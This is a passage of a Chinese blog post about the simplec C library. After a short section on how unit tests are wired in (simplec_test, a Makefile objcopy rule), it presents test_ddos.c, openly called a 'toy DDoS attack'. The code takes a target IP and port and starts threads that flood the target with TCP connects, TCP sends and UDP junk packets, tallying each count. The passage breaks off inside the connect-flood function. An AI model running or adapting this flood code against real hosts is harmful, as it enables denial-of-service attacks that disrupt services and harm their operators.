前言 - simplec 单元测试 流程介绍
一个关于C基础库 simplec 2.0.0 发布了. 详细的文档介绍请参照 README.md.
说的再多都无用, 抵不上 gdb 一个 b r n. 本文就简单介绍一下 simplec 中怎么添加单元测试功能.
simplec winds Debug 启动流程是 main -> simplec_main -> simplec_test. 所以所有的
单元测试都采用如下结构
/*
* simple c 单元测试主函数
* return : void
*/
void
simplec_test(void) {
// 单元测试 - 测试 plog 日志系统
extern void test_plog(void);
// 单元测试 - 测试 scthreads 线程池
extern void test_scthreads(void);
// 单元测试 - 测试 iop 网络io
extern void test_iopserver(void);
// 单元测试 - 测试 libcurl http 库
extern void test_httputil(void);
// 单元测试 - 测试 玩具 ddos攻击
extern void test_ddos(void);
test_ddos();
}
需要注意的是, 每一个单元测试函数,必须对映一个同名的文件结构. 如下图展示
利用上面规则, 在linux上会生成对应的 单元测试执行文件, 方便脚本联合测试.
# 单元测试使用, 生成指定主函数的运行程序, 替换回main操作
RUNT = $(RHAD) -o $(TAR_PATH)/$(TEST_DIR)/$@ $(RTAL)
COPT = objcopy --redefine-sym $(basename $@)=main $(OBJP)$(basename $@).o
更加详细的规则, 可以学学Makefile
正文 - 不妨用simplec 写个 ddos攻击
说太多没用, 基础库层面, 如少林武功. 唯有一招一式的练习. 没用魔法, 斗气那么灿烂.
攻击思路也很简单, tcp, udp 来回搞. 确实有的公司例如百度对ddos攻击防御做的很好.
直接上代码 添加 单元测试模块 test_ddos.c
#include <iop_util.h>
#include <scthreads.h>
#define _INT_HOSTV4 (16)
#define _INT_TIMEOUT (3000)
struct targ {
sockaddr_t addr;
char ts[BUFSIZ];
char us[BUFSIZ];
// 攻击次数统计
uint64_t connect;
uint64_t tcpsend;
uint64_t udpsend;
};
// 得到玩家输入的地址信息
void addr_input(sockaddr_t * addr);
// 检查IP是否合法
bool addr_check(sockaddr_t * addr);
// 目前启动3个类型线程, 2个是connect, 2个是connect + send 2个是 udp send
void ddos_run(struct targ * arg);
//
// ddos attack entrance
//
void test_ddos(void) {
// 记录详细攻击的量, ts and us 是脏数据随便发
struct targ arg;
arg.udpsend = arg.tcpsend = arg.connect = 0;
// 得到玩家的地址信息
addr_input(&arg.addr);
if (!addr_check(&arg.addr))
CERR_EXIT("ip or port check is error!!!");
// 开始要启动线程了
ddos_run(&arg);
// :> 开始统计数据
puts("connect count tcp send count udp send count");
for (;;) {
printf(" %"PRIu64" %"PRIu64" %"PRIu64"\n", arg.connect, arg.tcpsend, arg.udpsend);
sh_sleep(_INT_TIMEOUT);
}
}
// 得到玩家输入的地址信息
void
addr_input(sockaddr_t * addr) {
bool flag = true;
int rt = 0;
uint16_t port;
char ip[_INT_HOSTV4] = { 0 };
puts("Please input ip and port, example :> 127.0.0.1 8088");
printf(":> ");
// 自己重构scanf, 解决注入漏洞
while (rt < _INT_HOSTV4 - 1) {
char c = getchar();
if (isspace(c)) {
if (flag)
continue;
break;
}
flag = false;
ip[rt++] = c;
}
ip[rt] = '\0';
rt = scanf("%hu", &port);
if (rt != 1)
CERR_EXIT("scanf_s addr->host = %s, port = %hu.", ip, port);
printf("connect check input addr ip:port = %s:%hu.\n", ip, port);
// 下面就是待验证的地址信息
if (socket_addr(ip, port, addr) < Success_Base)
CERR_EXIT("socket_addr ip , port is error = %s, %hu.", ip, port);
}
// 检查IP是否合法
bool
addr_check(sockaddr_t * addr) {
int r;
socket_t s = socket_stream();
if (s == INVALID_SOCKET) {
RETURN(false, "socket_stream is error!!");
}
r = socket_connecto(s, addr, _INT_TIMEOUT);
socket_close(s);
if (r < Success_Base) {
RETURN(false, "socket_connecto addr is timeout = %d.", _INT_TIMEOUT);
}
return true;
}
// connect 链接
static void _connect(struct targ * targ) {
// 疯狂connect
for (;